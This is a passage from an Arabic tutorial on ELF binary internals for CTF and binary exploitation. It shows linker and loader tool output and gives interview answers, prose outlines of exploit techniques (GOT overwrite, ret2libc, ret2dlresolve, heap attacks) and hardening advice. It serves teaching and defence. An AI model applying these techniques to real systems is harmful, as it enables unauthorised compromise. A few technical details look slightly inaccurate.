لاحظ أن GCC حوّل printf("Hello World\n") إلى puts("Hello World")! لأنّ puts يضيف \n تلقائيًا وهو أسرع. هذا تحسين شائع — لا تتفاجأ إذا لم تجد printf في الـ disassembly رغم كتابتها في الكود.

الخطوة 4 — PLT و GOT

objdump -d .plt⏵ ⋅ ⋅$ objdump -d -j .plt -j .plt.sec -M intel hello
0000000000001020 <.plt>:
    1020:  push    QWORD PTR [rip+0x2fca]    # GOT[1]: link_map
    1026:  bnd jmp QWORD PTR [rip+0x2fcb]    # GOT[2]: _dl_runtime_resolve
    102d:  nop DWORD PTR [rax]

0000000000001050 <puts@plt>:
    1050:  endbr64                            # IBT
    1054:  bnd jmp QWORD PTR [rip+0x2f9d]   # puts@got.plt
    105b:  nop DWORD PTR [rax+rax*1+0x0]

الخطوة 5 — قسم .dynamic

readelf -d⏵ ⋅ ⋅$ readelf -d hello
Dynamic section at offset 0x2dc8 contains 27 entries:
  Tag        Type        Name/Value
 0x000000001 (NEEDED)    Shared library: [libc.so.6]
 0x00000000c (INIT)      0x1000
 0x00000000d (FINI)      0x1188
 0x000000019 (INIT_ARRAY) 0x3db8
 0x000000006 (SYMTAB)    0x3c0
 0x000000005 (STRTAB)    0x450
 0x000000017 (JMPREL)    0x5b8     # .rela.plt
 0x000000007 (RELA)      0x4f8     # .rela.dyn
 0x00000001e (FLAGS)     BIND_NOW  # لا، هذا يأتي من -z now
 0x6ffffffb (FLAGS_1)    Flags: PIE

الخطوة 6 — تتبّع التنفيذ

strace⏵ ⋅ ⋅$ strace -e trace=execve,mmap,write ./hello 2>&1 | head -15
execve("./hello", ["./hello"], 0x...) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, ...) = 0x...    # مكدّس ld-linux
mmap(NULL, 0x..., PROT_READ, ...) = 0x...                # Read-only segment
mmap(0x..., 0x..., PROT_READ|PROT_EXEC, ...) = 0x...    # .text
mmap(0x..., 0x..., PROT_READ, ...) = 0x...               # .rodata
mmap(0x..., 0x..., PROT_READ|PROT_WRITE, ...) = 0x...   # .got + .data
write(1, "Hello World\n", 12) = 12
exit_group(0)

كل ما تعلّمناه يظهر بوضوح: 4 استدعاءات mmap() = 4 من PT_LOAD segments. كل واحد بصلاحيات مختلفة. ثم استدعاء واحد لـ write (الذي ينفّذه puts داخليًا)، ثم exit_group.


[15] مواضيع متقدمة

الآن نغوص في الزوايا التي يتجاهلها معظم الناس. كل واحدة من هذه المواضيع تستحق مقالة كاملة، لكنّنا سنغطّي الجوهر.

Position Independent Code (PIC) — كيف يعمل؟

المشكلة: مكتبة .so يمكن أن تُحمَّل في أي عنوان. كيف تشير إلى متغير global داخلها دون معرفة العنوان وقت الترجمة؟ الحل: عناوين نسبية دائمًا.

على x86_64، المساعد هو rip-relative addressing. بدلًا من mov rax, [0x401000] (عنوان مطلق)، تكتب mov rax, [rip + 0x123] (عنوان نسبي لـ RIP). هذا يعمل بصرف النظر عن مكان تحميل الكود.

للوصول إلى دوال خارجية، PIC يستخدم GOT: call puts@plt ينطلق إلى PLT stub → يقرأ من GOT (عبر rip-relative) → يقفز إلى puts. كل شيء نسبي. لذا حتى مع base عشوائي، الكود يعمل.

TLS — Thread-Local Storage

المتغيرات المعرّفة بـ __thread int x; أو thread_local تحصل على نسخة مستقلة لكل thread. التطبيق عبر register خاص: fs على x86_64 (يُشير إلى Thread Control Block خاص بكل thread).

قسما .tdata (مُهيَّأ) و .tbss (غير مُهيَّأ) يحويان قالب TLS. عند بدء thread جديد، يُنسخ الـ template ويُربط بـ fs:[...].

الـ stack canary مخزَّن في fs:[0x28] — يقرأه كل function prologue من TLS لكل thread.

RELRO Internals — كيف يعمل تقنيًا؟

الـ linker يجمع الأقسام التي يجب أن تكون readonly بعد الـ relocations في segment خاص PT_GNU_RELRO. هذا يشمل: .init_array، .fini_array، .dynamic، و (في Full RELRO) .got.

عند انتهاء _dl_runtime_relocate، ld-linux يستدعي _dl_protect_relro الذي يستدعي mprotect(relro_start, relro_size, PROT_READ).

الفرق الجوهري بين Partial و Full RELRO: في Partial، .got.plt ليس في PT_GNU_RELRO (يبقى writable لدعم lazy binding). في Full، الـ binary مُجمَّع بـ -z now فيتم حلّ كل الـ jump slots مسبقًا — لا حاجة لـ lazy binding — فيُضاف .got.plt إلى RELRO.

IFUNC — Indirect Functions

ميزة GNU تسمح بـ "دالة تختار نسخة وقت التشغيل". مثال شائع: glibc تختار نسخة memcpy الأفضل بناءً على CPU (SSE2 vs AVX vs AVX-512).

التطبيق: نوع relocation خاص R_X86_64_IRELATIVE. ld-linux يستدعي "resolver function" التي ترجع المؤشر للنسخة الصحيحة، ويكتبه في GOT.

للهاكر: IFUNC abuse تقنية حديثة — إذا تمكّنت من التحكم في IRELATIVE relocation، يمكنك تشغيل أي function pointer قبل أن يبدأ البرنامج فعليًا.

ELF Notes — ميتاداتا مدفونة

أقسام .note.* تحوي ميتاداتا متنوعة. الأهم:

  • NT_GNU_BUILD_ID — معرّف فريد للبناء، مثل: a4d2e93b1f.... يستخدمه debuginfod لإيجاد debug symbols.
  • NT_GNU_PROPERTY_TYPE_0 — يحوي قدرات CPU المطلوبة: GNU_PROPERTY_X86_FEATURE_1_IBT و SHSTK.
  • NT_GNU_ABI_TAG — يحدد إصدار kernel/glibc الأدنى المطلوب.
Symbol Versioning — لماذا memcpy@GLIBC_2.14؟

المشكلة: glibc غيّرت سلوك memcpy في 2.14 (لم تعد تضمن سلامة مع overlapping ranges). البرامج المُترجَمة قبل 2.14 ستتعطّل مع libc حديث.

الحل: symbol versioning. glibc تُصدّر نسختين: memcpy@GLIBC_2.2.5 (السلوك القديم) و memcpy@@GLIBC_2.14 (الجديد، الافتراضي). كل برنامج يربط بالنسخة التي كانت موجودة وقت الترجمة. التوافق العكسي محفوظ.

أقسام .gnu.version، .gnu.version_r (required)، .gnu.version_d (defined) تنفّذ هذا النظام.

Hash Tables — .hash vs .gnu.hash

للبحث عن رمز في .dynsym بسرعة، ld-linux يستخدم hash tables.

.hash (SysV): بسيط لكنه بطيء — كل bucket يحوي سلسلة من الـ symbols تُفحص كلها.

.gnu.hash (الحديث): أسرع 3-5×. يستخدم Bloom filter لرفض غير الموجودة فورًا. الـ buckets مُرتَّبة، فعند مصادفة hash أكبر تنتهي.

معظم البرامج الحديثة لا تحوي .hash إطلاقًا — فقط .gnu.hash. ld-linux يفضّله.

ELF Compression

مع ld --compress-debug-sections=zlib، أقسام debug (.debug_info، .debug_str) تُضغط. الـ section header يحصل على flag SHF_COMPRESSED، ويبدأ القسم بـ Elf64_Chdr يخبر بنوع الضغط والحجم الأصلي.

هذا يُصغّر البايناريات الكبيرة (مثل Chrome) بشكل ملحوظ. مفيد للمعتمدين على strip للحفاظ على debug separately.

Constructors & Destructors

GCC يدعم وسوم خاصة:

C⏵ ⋅ ⋅__attribute__((constructor))
void init_func() {
    printf("يُنفَّذ قبل main\n");
}

__attribute__((destructor))
void cleanup() {
    printf("يُنفَّذ عند exit\n");
}

هذه الدوال تُسجَّل في .init_array و .fini_array. للهاكر: الكتابة فوق إدخال هنا قبل تنفيذ .init_array = تنفيذ كود مع كامل ميزات runtime — جذاب جدًا.

Shared Libraries — كيف تعمل؟

كل مكتبة .so هي ELF بنوع ET_DYN — بالضبط مثل برنامج PIE. الفرق الوحيد: المكتبة عادةً ليس لها main، وتُصدِّر رموزًا عبر .dynsym.

عند ربط برنامج بمكتبة، ld يسجّل DT_NEEDED entry في .dynamic يحوي اسم المكتبة. ld-linux يقرأها وقت التشغيل ويحمّلها.

مزايا: تشارك في الذاكرة بين عمليات (فيزياء)، توفير مساحة قرص، تحديث مركزي للأمان (patch libc → كل البرامج محميّة).

Static Linking — نقاط القوة والضعف

الميزات: bundle قابل للنقل (يعمل على أي توزيعة)، لا اعتماد على libc الـ host، أداء أفضل قليلًا (لا dynamic dispatch).

العيوب: حجم أكبر بكثير، لا تحديث أمني تلقائي، كل بايناري يحوي نسخة libc كاملة.

من منظور الاستغلال: أسهل بكثير. كل دوال libc موجودة بعناوين ثابتة. لا حاجة لتسريب libc. ROP gadgets وفيرة. لذا تصدّ مشاريع real-world عن static linking في الإنتاج.


[16] 30+ سؤال مقابلة عن ELF

هذه أسئلة طُرحت فعلًا في مقابلات security/reverse engineering في شركات كبيرة. الإجابات الموجزة موجودة هنا، لكنّ قدرتك على التوسّع فيها هي ما يميّزك.

1. ما هي الـ Magic Number لملف ELF؟

0x7F 'E' 'L' 'F' = البايتات الأربع الأولى. تبدأ بـ 0x7F (غير قابل للطباعة) ثم النص "ELF" لتمييز سريع.

2. ما الفرق بين ET_EXEC و ET_DYN؟

ET_EXEC = برنامج تنفيذي بعناوين ثابتة (non-PIE). ET_DYN = مكتبة مشتركة أو برنامج PIE — في كلتا الحالتين، يمكن تحميله في أي عنوان بفضل العناوين النسبية.

3. ما الفرق بين Section و Segment؟

Section = منظور الرابط (وحدات منطقية صغيرة مثل .text، .data). Segment = منظور المُحمِّل (دمج أقسام بنفس الصلاحيات → mmap واحد). ملف .o له sections فقط؛ executable له الاثنين.

4. لماذا يبدأ Stack Canary بـ 0x00 على Linux 64-بت؟

لمنع تسريبه عبر دوال السلاسل (strcpy، puts، …) — البايت الـ null يوقف القراءة. هذا تصميم متعمَّد يحمي ضد leak عن طريق printf-family.

5. اشرح Lazy Binding بكلمات بسيطة.

عناوين دوال libc لا تُحلّ كلها عند بدء البرنامج. أول استدعاء لـ printf يمرّ عبر resolver في ld-linux الذي يجد العنوان ويكتبه في GOT. كل استدعاء لاحق يقفز مباشرة إلى libc. توفير وقت بدء على حساب بطء أول استدعاء.

6. ما الفرق بين Partial و Full RELRO؟

Partial: .got و .init_array readonly، لكن .got.plt يبقى writable. Full: كل شيء readonly (يتطلب -z now لإجبار immediate binding).

7. لماذا برامج PIE لها e_type = ET_DYN؟

لأنّ PIE تقنيًا "shared object قابل للتنفيذ". المُحمِّل يتعامل معه بنفس طريقة المكتبات — يختار base عشوائي ويُحمِّله. هذا ما يُفعِّل ASLR على البرنامج نفسه.

8. ما هو _start ولماذا ليس main؟

_start هو نقطة الدخول الفعلية، يأتي من crt1.o. يقوم بإعداد argc/argv/envp ويستدعي __libc_start_main الذي بدوره يستدعي main. هذا يفصل تهيئة libc عن منطق المستخدم.

9. كيف يجد ld-linux مكتبة libc.so.6؟

الترتيب: DT_RPATH/DT_RUNPATH من .dynamic، ثم LD_LIBRARY_PATH، ثم /etc/ld.so.cache (مُولَّد بـ ldconfig)، ثم /lib و /usr/lib.

10. ما الفرق بين .symtab و .dynsym؟

.symtab يحوي كل الرموز (بما فيها المحلية و static)، يُحذف عند strip. .dynsym يحوي فقط الرموز المُصدَّرة/المستوردة، يجب أن يبقى للتشغيل.

11. ما هو .bss ولماذا حجمه على القرص أصغر من حجمه في الذاكرة؟

BSS يحوي متغيرات غير مُهيَّأة. حجمه فقط مُسجَّل (لا بيانات فعلية على القرص). عند التحميل، النواة تحجز ذاكرة وتُصفّرها. لذلك FileSiz < MemSiz في PT_LOAD segment الذي يحويه.

12. ما هي حماية NX وكيف تعمل تقنيًا؟

كل صفحة ذاكرة لها bit "executable". إذا كان معطّلًا، محاولة تنفيذ كود من هذه الصفحة تُسبّب SIGSEGV. على x86_64، bit رقم 63 في page table entry (XD bit). يُتحكَّم به عبر PT_GNU_STACK flags.

13. ماذا يحدث عندما تكتب ./hello في الـ shell؟

fork() → execve("./hello", ...) → النواة تقرأ ELF header → mmap كل PT_LOAD → تحمّل ld-linux من PT_INTERP → تقفز إلى entry point of ld-linux → ld-linux يحمّل libs، يجري relocations، ينفّذ .init_array → يقفز إلى _startmain.

14. ما الفرق بين .init و .init_array؟

.init دالة واحدة تُنفَّذ قبل main (نسخة قديمة). .init_array مصفوفة من مؤشرات دوال — أكثر مرونة، يدعم تعدد constructors. الـ __attribute__((constructor)) يُسجَّل في .init_array.

15. كيف يعمل GOT overwrite؟

إذا تمكّنت من الكتابة في .got.plt (يتطلب عدم وجود Full RELRO)، يمكنك استبدال عنوان أي دالة libc بعنوان آخر — مثلًا استبدال printf بـ system. عند استدعاء البرنامج printf("/bin/sh")، يُستدعى system("/bin/sh") فعليًا.

16. ما هو ASLR وما إنتروبيا على Linux 64-بت؟

ASLR يعشوي عناوين mmap (يشمل libc)، stack، heap، و executable base (مع PIE). على x86_64 Linux، حوالي 28 بت إنتروبيا للـ mmap base (وفقًا لـ /proc/sys/vm/mmap_rnd_bits). كافية لجعل brute-force غير عملي محليًا.

17. ما هي R_X86_64_RELATIVE ولماذا تنتشر في PIE binaries؟

نوع relocation يقول: "أضف base address للقيمة الحالية." في PIE، كل مؤشر بيانات يحتاج هذا (لا توجد عناوين مطلقة). لذلك تجد آلاف الـ R_X86_64_RELATIVE في PIE binary، صفر في non-PIE.

18. كيف تُفرّق بين برنامج محذوف الرموز (stripped) وغيره؟

file binary يخبرك ("not stripped" / "stripped"). أو nm binary — إذا فشل بـ "no symbols"، فهو stripped. readelf -s لن يعرض .symtab، فقط .dynsym.

19. ما هو __libc_start_main ولماذا هو هدف شائع؟

دالة libc تستلم التحكم من _start. تستلم مؤشر إلى main كأحد args. تهيّئ stdio، تستدعي main، ثم exit. هي هدف شائع لتسريب libc base — تسريب RIP المحفوظ من stack غالبًا يُعطيك عنوانًا داخلها.

20. كيف يعمل strip؟

يحذف .symtab، .strtab، و أقسام debug (.debug_*). لا يلمس .dynsym (مطلوب للتشغيل). يُصغّر البايناري بشكل كبير لكنه يجعل العكسي أصعب.

21. ما الفرق بين Static و Dynamic linking من منظور الأمان؟

Dynamic: ثغرة libc → اصلاح واحد يحمي كل البرامج. Static: لازم إعادة compile كل برنامج. من منظور الاستغلال: static أسهل (كل دوال libc بعناوين ثابتة معروفة، gadgets أكثر).

22. ماذا يفعل LD_PRELOAD ولماذا لا يعمل على binaries setuid؟

يجبر ld-linux على تحميل مكتبة قبل أي شيء آخر — يمكن "hook" دوال libc. لا يعمل على setuid لأنّه يسمح بـ privilege escalation تافه. ld-linux يتجاهله إذا EUID != RUID.

23. ما هي .note.gnu.property ولماذا أصبحت مهمة؟

تحوي قدرات CPU المطلوبة، أبرزها X86_FEATURE_1_IBT و SHSTK. على معالجات Intel الحديثة، النواة تُفعِّل CET فقط للبرامج التي تطلبها صراحة عبر هذا القسم.

24. اشرح الـ ret2plt.

تقنية لاستدعاء دوال libc دون معرفة libc base. تستدعي الدالة عبر إدخالها في PLT — عناوين PLT ثابتة في non-PIE أو نسبية لـ base البرنامج. مفيد عندما لديك ROP لكن لم تسرّب libc بعد.

25. ما هي IFUNC؟

"Indirect Function" — دالة تختار نسخة نفسها وقت التشغيل بناءً على بيئة (CPU features). glibc تستخدمها لـ memcpy، strlen، إلخ. التطبيق عبر R_X86_64_IRELATIVE.

26. كيف يعرف ld-linux ترتيب تحميل المكتبات؟

يجري BFS على شجرة الـ DT_NEEDED. يحمّل المكتبة، ثم يقرأ DT_NEEDED الخاص بها، ثم يحمّل تلك، وهكذا. كل مكتبة تُحمَّل مرة واحدة فقط. الترتيب مهم لـ symbol resolution (الأولى تفوز).

27. ما هو _dl_runtime_resolve؟

دالة في ld-linux مسؤولة عن حلّ symbols وقت التشغيل (lazy binding). تُستدعى من PLT[0]. تأخذ link_map و reloc index، تبحث في .dynsym و hash tables، تحدّث GOT، وتقفز للدالة الحقيقية.

28. لماذا .dynamic مهم؟

"وصفة" ld-linux. يحوي كل ما يحتاجه: قائمة المكتبات (DT_NEEDED)، مواقع الجداول (DT_SYMTAB، DT_STRTAB، DT_HASH)، الـ relocations، init/fini، flags. بدونه، الـ binary لا يمكن أن يُحمَّل ديناميكيًا.

29. ما الفرق بين REL و RELA؟

REL = (offset, info) — الـ addend يُقرأ من الموقع نفسه. RELA = (offset, info, addend) — addend صريح. x86_64 تستخدم RELA حصرًا.

30. ما هو "ret2dlresolve"؟

تقنية متقدمة: بناء Elf64_Rela structure على المكدّس مع بيانات مُتحكَّم بها، ثم إجبار _dl_runtime_resolve على معالجته. يحلّ ld-linux رمزًا اخترته (مثل system) دون الحاجة لتسريب libc base.

31. كيف يعمل checksec؟

يفحص: PT_GNU_STACK flags (NX)، وجود __stack_chk_fail في .dynsym (Canary)، e_type (PIE = ET_DYN + flag معيّن)، PT_GNU_RELRO + DT_BIND_NOW (Full RELRO)، وجود __*_chk functions (Fortify).

32. ما هي مكتبة linux-vdso.so.1؟

"Virtual Dynamic Shared Object" — مكتبة افتراضية يحقنها kernel في كل عملية. تحوي نسخ سريعة من syscalls معيّنة (gettimeofday، clock_gettime) — تنفّذ من user space دون transition إلى kernel.


[17] أنماط أسئلة CTF الشائعة

إذا تابعت CTFs لفترة، ستلاحظ أنّ تحديات pwn تتكرّر بأنماط محدّدة. إليك أكثرها شيوعًا مع استراتيجية حلّ سريعة:

النمط 1 — Stack BOF بدون حمايات

البفر بدون canary، بدون PIE، NX مُفعَّل. هناك دالة win() في البرنامج لا تُستدعى. الحل: overflow → اكتب RIP بعنوان win.

النمط 2 — Format string Leak ثم BOF

طبقتان من الثغرات. الحل: استخدم format string لتسريب canary و/أو libc base أو program base، ثم BOF لـ ROP.

النمط 3 — GOT Overwrite

Partial RELRO + format string لها %n primitive. الحل: اكتب على printf@got.plt عنوان system. في المرة التالية يستدعي البرنامج printf("/bin/sh")، يفتح shell.

النمط 4 — ret2libc Classic

No PIE، Canary غير موجود. الحل: ROP بسيطة: leak (puts@got via puts@plt) → احسب libc → ROP إلى system("/bin/sh").

النمط 5 — Heap Exploitation (House of *)

لا BOF، فقط malloc/free مع UAF أو double-free. الحل: تقنيات heap (tcache poisoning، fastbin dup، unsorted bin attack…). فهم .got و __free_hook و __malloc_hook ضروري.

النمط 6 — Shellcode على المكدّس (RWX!)

قديم لكنه يظهر أحيانًا. readelf -lW يكشف GNU_STACK بـ RWX. الحل: اكتب shellcode في buffer، أعد RIP إليه. مفيد لـ beginners.

النمط 7 — One Gadget

Full RELRO + PIE + canary، لكن البرنامج يستدعي دالة من libc بعد leak. الحل: one_gadget libc.so.6 → جرّب الـ gadgets — كل واحد له constraints (RAX, RCX, RBP …). إذا تطابقت السياق، يُفتح shell بقفزة واحدة.

النمط 8 — ret2dlresolve

No PIE + Partial RELRO + لا تسريب libc ممكن. الحل: بناء Elf64_Rela structure على .bss، إجبار ld على حلّ system.

النمط 9 — Sandboxed (Seccomp)

البرنامج يفعّل seccomp يحظر execve. الحل: لا shell، فقط ROP لقراءة flag مباشرة (open + read + write = ORW chain).


[18] الخلاصة — ما يجب أن تأخذه معك

المفاتيح الجوهرية

  • ELF يحوي عرضين: Sections للرابط، Segments للمُحمِّل. هذا التقسيم يفسّر معظم تعقيداته.
  • الربط الديناميكي يدور كله حول PLT/GOT — PLT يقفز إلى GOT، GOT يحوي العناوين الحقيقية، Lazy Binding يحلّ العناوين عند أول استدعاء.
  • RELRO Full يقتل GOT overwrite الكلاسيكي، لكنّ هجمات مثل __free_hook abuse و ret2dlresolve لا تزال ممكنة.
  • ASLR + PIE = تحتاج leak دائمًا للاستغلال الحديث. تعلّم تقنيات تسريب العناوين كأولوية.
  • CET (Shadow Stack + IBT) هو مستقبل الحماية على x86_64 — تعلّمه مبكرًا.

أفضل الممارسات للمدافع

  • دائمًا compile مع: -fstack-protector-strong -D_FORTIFY_SOURCE=2 -fPIE -pie -Wl,-z,now -Wl,-z,relro.
  • فعّل CET إذا كان CPU يدعمها: -fcf-protection=full.
  • تجنّب strcpy، gets، sprintf، scanf("%s"). استخدم النسخ الآمنة: strncpy_s، fgets، snprintf.
  • راجع كل استدعاء printf مع متغير user-controlled — لا تمرّر بيانات مستخدم كصيغة!
  • استخدم strip على الـ production binaries (لا يمنع reversing لكنه يصعّبه).

أفضل الممارسات للمهاجم (الأخلاقي)

  • دائمًا ابدأ بـ checksec — الحمايات تُملي عليك الاستراتيجية.
  • افهم بنية البفرات قبل استغلالها. ارسم layout المكدّس على ورقة.
  • عند فشل ROP، السبب الأشهر = stack alignment. أضف ret gadget.
  • اقرأ سورس ld-linux من glibc — معرفته تفتح آفاقًا جديدة.
  • مارس على HackTheBox، pwn.college، LiveOverflow، و pwnable.kr.

الخطوات التالية

إذا أردت التعمّق أكثر:

  • اقرأ "Linkers and Loaders" لـ John Levine — الكتاب المرجعي.
  • اقرأ "Practical Binary Analysis" لـ Dennis Andriesse.
  • تابع كتابات Ryan "elfmaster" O'Neill عن ELF internals.
  • طبّق على CTF binaries — لا شيء يعلّمك مثل البايناريات الحقيقية.
  • اكتب tool صغير: parse ELF header بـ C من الصفر. ستفهم كل بايت.
▸ الكلمة الأخيرة

ELF مو مجرد تنسيق، يا الغالي — هو عقد بين برنامجك وكل أداة بتتعامل معاه. لمّا تفهمه فهم عميق، هذا هو اللي بيفرّق بين العكّاس اللي "يستخدم Ghidra" والعكّاس اللي "يفهم وش يصير فعلًا". أول ما تستوعب نموذج الـ Section/Segment، الـ PLT/GOT، والـ Relocations — بتلاقي إنّ كل أداة، كل تقنية استغلال، كل خدعة malware — كلها وجوه لنفس النموذج. هذا الفرق بين التقني والفنّان. بس صدق، فيه فرق.

اقرأ. جرّب. اكسر. ابنِ. كرّر. ولا تيأس.

The Art of Pwn — Sahm Academy
هذا الدليل مكتوب لمجتمع الـ pwn العربي. شارك المعرفة، الله يبارك فيك.